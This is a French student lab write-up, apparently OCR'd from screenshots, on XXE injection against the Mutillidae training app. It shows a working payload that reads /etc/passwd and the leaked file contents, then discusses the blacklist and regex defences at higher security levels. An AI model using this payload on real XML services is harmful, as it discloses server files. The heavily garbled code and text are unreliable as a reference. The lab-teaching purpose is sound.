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intro :

Qu’est ce que le XML :

XML signifie « langage de balisage extensible ». XML est un langage congu pour stocker et
transporter des données. Comme HTML, XML utilise une structure arborescente de balises
et de données. Contrairement a HTML, XML n'utilise pas de balises prédéfinies, et les
balises peuvent donc recevoir les noms que I'on souhaite .

Que sont les entités XML ?

Les entités XML sont une fagon de représenter un élément de données dans un document
XML, au lieu d'utiliser les données elles-mémes.Par exemple, les entités &lt;

et &gt; représentent les caractéeres <et >.

Type d’entité : les entitées externe :
Les entités externes XML sont un type d’entité personnalisée dont la définition est située en

dehors de la DTD ou elles sont déclarées.
La déclaration d'une entité externe utilise le SYSTEM et doit spécifier une URL a partir de
laquelle la valeur de I'entité doit étre chargée.

Attaque XXE :

Cette attaque se produit lorsque la requete XML contient une entité externe .Cette attaque
pourrait conduire a la divulgation de données confidentielles,etc...

gu’est ce qu’une entité :

En XML, une entité est comme un raccourci ou un alias pour un texte ou des données.
qu’est ce qu’une entité externe :

Ce sont des entités qui font référence a des ressources externes, comme des fichiers. Elles
peuvent étre utilisées pour inclure le contenu de fichiers externes dans un document XML.

Qbjectif en tant que personne malveillante :

— afficher le contenu du fichier /etc/passwd qui contient la liste de tous les utilisateurs
systémes présents sur le serveur

Etape 1 : Mise en place de I'attaque XXE :
mettre en ceuvre I'attaque permettant d’afficher le fichier contenant tous les utilisateurs sur le
serveur cible.

Petit test afficher un message xml non malveillant :
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Please Enter XML to Validate ]

Example: <somexml><message>Hello World</message></somexml=

XML

XML Submitted

<semexml> <message> helle helle </message> </somexml>

Text Content Parsed From XML
hello hello

Insertion de code malveillant :
requete :

<IDOCTYPE foo [<IENTITY xxe SYSTEM *“file:///etc/passwd’>]>
<somexml>

<message> &xxe; </message>

</somexml>

explication de la requéte :
<IDOCTYPE foo> : TDT definie element “foo”.

<IENTITY xxe SYSTEM "file.///etc/passwd"> : definition de I'entité externe ‘xxe’ qui fait
référence au fichier “/etc/passwd”.

<somexml> : balise racine
<message> : balise ‘enfant’ contenu dans la balise racine

&xxe; : Utilise I'entité externe définie dans la DTD pour inclure le contenu du fichier
/etc/passwd situé dans la balise enfant <message>.
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[ Please Enter XML to Validate ]

Example: <somexml><message=>Hello Weorld</message></somexml>

XML
#
Validate XML
XML Submitted
<|DOCTYPE foo[<IENTITY xxe SYSTEM "file:///etc/passwd">]> 1> ge> &xxe; </) ge> </somexml>

Text Content Parsed From XML

root:x:0:0:rootroot bin/bash daemon:x:1:1:daemon:/usr/sbin:usr/sbin/nologin bin:x:2:2:binvbin:usr/sbinmologin sys:x:3:3:sys:/devi/usr/sbin/nologin
sync:x:4:65534 sync bin:bin/sync games:x:5:60:games:usrigames:/usr/sbin/nologin man::6:12:man:/var/cache/man:usr/sbin/nologin Ip:x:7:7:Ip:var/spool
{lpd:/usr/sbin/nologin mail x:8:8:mail:var/mail /usr/sbin/nologin news:x:9:9:news:/var/spool/news/usr/sbin/nologin uucp:x:10:10:uucp:var/spool/uucp:/usr/sbin
/nologin proxyx:13:13:proxy:/bin:/usr/sbin/nologin www-datax:33:33:.www-data/varwww/usr/sbin/nologin backupx:34:34 backup:ivar/backups /usr/sbin
/nologin list:x:38:38:Mailing List Manager:/varlist/usr/sbin/nologin irc:x:39:39:ircd:/var/run/fired /usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System
(admin):fvar/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534 nobody /nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network
Management,,,/run/systemd/netif/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106:/home/syslog/usr/sbin/nologin messagebus:x:103:107:/nonexistent/usr/sbin/nologin _aptx:104:65534:/nonexistent:/usr/sbin/nologin
Ixd:x:105:65534varlib/Ixd//binfalse uuidd:x:106:110:run/uuidd /usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:varlib/misc:usr/sbin/nologin
landscape:x:108:112:/varllib/landscape /usr/sbin/nologin pollinate:x:109:1:/var/cache/pollinate/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
profx:1000:1000:prof/home/profibin/bash mysqglx:111:113:MySQL Server,,,/nonexistent/bin/false ntp:x:112:115:/nonexistent:/usr/sbin/nologin

L’attaque est un succés , nous avons bien récupéré le fichier de login

Nous allons maintenant monter le niveau de sécurité de owasp a 5.
- petit test non malfaisant :

WTST. W EEOALSE IEIRALEIIAGL BRI NGl WSSANEEE SAR LA B EEEE N

Version: 2.6.67 Security Level: 5 (Server-side Security) Hints: Disabled (0 - I try harder) Notl

Home Login/Register Show Popup Hints Toggle Security Drop SSL Reset DB View Log  View Captured Data

( XML Validator

Please Enter XML to Validate }

Example: <somexml><message>Hello World</message></somexml>

XML

XML Submitted

<somexml: 1lo Worlds</ /somexml>

Text Content Parsed From XML
Hello World

war msunalahiocke cam
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- test avec le code malfaisant :

Dangerous phrases detected. We can't allow these. This all powerful blacklist will stop such attempts.

Much like padlocks, filtering cannot be defeated.

Blacklisting is 133t like 133tspeak.

On constate que 'attaque a échoué et un message d’erreur s’affiche . Dans
ce cas la, il faut modifier le code source de

protection du niveau 5 dans le fichier php xml-validator.php

(serveur ubuntu : cd mutillidae , nano xml-validator.php )

image lorsqu’on se trouve dans le fichier :
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GMU nano 2.9.3 #ml-validatar.php

mlErraor

urity-level1)§

£1EnableHTHLControls

ur P M- L
Go To Line [sks

modifier le level 5 : mettre a FALSE la méthode $EnableJavaScriptValidation :
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Method Tan
e_entity_loader

iptvalidation

ation = TRUE;
I
thod Tamperin

is7end switch

if (#1EnableHTHMLControls) §
FIHTHLControlattributes= 'required="required"";
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Travail a faire 2 - Nouvelle tentative en mode sécurisé et analyse du code
source

En mettant le niveau de sécurité a 1 .

Q1. Est-ce que le niveau de sécurité 1 permet d’éviter 'attaque XXE ? Si oui,
est-ce d0 a une protection spécifique contre le XXE ?

En effet, le niveau de sécurité 1 permet d’éviter I'attaque, grace au code
sécurisé , situé dans le fichier xml-validator.php :

la méthode EnableJavaScriptValidation est basé sur “TRUE’

¢ = FAL

.¥hDdTar_EPiﬂg = FALSE;
ity_loader (FALSE) ;
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Questions - Niveau 5

-Est-ce que le niveau de sécurité 5 permet d’éviter I’attaque XXE ?
Oui, en arrivant au niveau 5 on constate que le code malveillant n’a pas
fonctionné . Il est toutefois détecté : “Possible XML external entity injection
attack detected.Support has been notified”

-Expliquer le réle d’une expression réguliére (motif).

une expression reguliére est une suite de caracteres normaux et de
caractéres spéciaux qui permet de trouver un mot .Cette suite de caractére va
ensuite etre appliquer a une chaine pour trouver les occurences
correspondant a la place de I'expression , par exemple :

Ablob Une chaine de caractére commencant par blob (utilisation du * )
gulp$S Une chaine de caractére se terminant par gulp (utilisation de $)

AtexteS La chaine globale “ texte”
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-afficher le code source de la page xml-validator.php sur le serveur a
I'aide de la commande more/var/www/html/mutillidae/xml-validator.php :

inel{
DOMDocument @ @ loads

$1EnableHTH
/¢g1FarmMethod = "G
——More--(13%)

-Toujours dans la méme page, expliquer le réle de la fonction
preg_match.

try ¢ I

if i1 (slEnablexdMLvalidation && (preg_match(XHL_EXTERNAL _ENTITY_REGEX_PAITERNME

tryd
TATTERNS, F1xHL)Y ||

preg_match est une fonction php qui recherche le motif de la chaine, et
retourne true si le motif existe autrement retourne faux.Dans ce bout de code,
la fonction
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Conclure sur la méthode de codage sécurisée utilisée pour empécher
I'attaque XXE.
fonction : onSubmitOfForm

function thmitdfForm( theForm) §
var lunsafefPhrases = FENTITYAL:
if{lvalidateInput == "TRUE"
if (theForm.xml.va :
=] B

nd if

d if
idateInput)

unction onSubmitOfForm( theForm)
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